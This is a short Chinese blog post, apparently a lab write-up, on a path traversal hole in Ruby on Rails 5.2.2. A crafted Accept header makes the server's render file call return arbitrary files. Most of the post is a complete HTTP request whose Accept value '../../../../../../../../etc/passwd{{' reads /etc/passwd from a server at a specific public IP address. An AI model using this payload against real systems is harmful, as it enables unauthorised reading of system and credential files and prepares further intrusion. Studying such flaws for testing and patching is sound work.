在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞,读取任意文件。

环境:Rail On Rails 5.2.2

访问http://188.40.189.134:3000/robots可见,正常的robots.txt文件被读取出来。

利用漏洞,发送如下数据包,读取/etc/passwd

GET /robots HTTP/1.1
Host: 188.40.189.134:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pma_lang=zh_CN; phpMyAdmin=334d62880ca26bf86780a63968699238
Upgrade-Insecure-Requests: 1

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...